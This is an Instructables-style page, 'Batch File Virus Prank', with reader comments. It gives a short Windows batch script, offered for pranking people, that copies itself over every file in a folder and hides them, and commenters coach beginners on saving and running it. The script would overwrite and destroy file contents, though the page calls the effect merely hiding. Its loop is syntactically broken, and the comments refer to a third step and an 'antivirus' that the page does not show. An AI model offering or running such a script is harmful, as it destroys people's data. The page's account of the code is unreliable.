Batch File Virus Prank

This instructable will teach you how to make a simple batch virus that hides all program files on the desktop. I had actually discovered this virus by a coding mistake I had made.

Step 1 Time for some coding!

First, open up notepad and create a file on the desktop named virus.bat. Then type in:

@echo off
attrib +h
for %%a in (*.*) copy virus.bat %%a

Click save and your done!

Comments

[XOIIO]

This is a great batch programming trick! it's great to scare people, and if you want to hide "private" documents or pictures, you can insert the virus and when you want to see it, insert the antivirus. if you are starting to learn batch programming, search me and you will find a good tutorial, in a few days there will be an advanced version, thanks for the help!

[Mr.Science Projects]

HELLO! I don't know how to reverse it!Can somebody please help me? :(

[duct tape]

See step three.

[Jimmy Proton]

nothing happened how do you "run" notepad

[duct tape]

go to start and type notepad into the search bar. the program notepad should show up in the search results, so click it from there. what do you mean 'nothing happened'?

[Jimmy Proton]

i copied what u said to copy and saved it as virus.bat, but when i open it nothing happens

[duct tape]

did you put it on the desktop? did it flash a black window really fast? or did it just open notepad?

[Jimmy Proton]

it just opened the file, thats it and what do you mean "did i put it on the desktop"?

[duct tape]

if it opened in notepad, then you didn't save it right. when you save it, underneath the file name there will be a spot that says save file as type *.txt or something like that. change that to all files and it will work.

[Jimmy Proton]

sorry i still dont understand, could you make a video for me?

[duct tape]

possibly this weekend. ill be swamped all week with school.

[Jimmy Proton]

that sux, i have to start school next week D:

[duct tape]

i already did :(

[Jimmy Proton]

yeah i figured that lol

[duct tape]

lol

[shoyru_master_11]

Hacks R cool

[aldecodex]

great! nice trick!!

[cmf12]

what does the %%a part mean...and why do you have copy virus.bat ??...could you please explain the code please..im learning dos and am n00b :}

[duct tape]

all you have to do is copy and paste those lines of code into notepad, and save it as virus.bat. %%a is a variable what the program does is append itself to all of the programs, and they receive the attrib +h tag, making them hidden.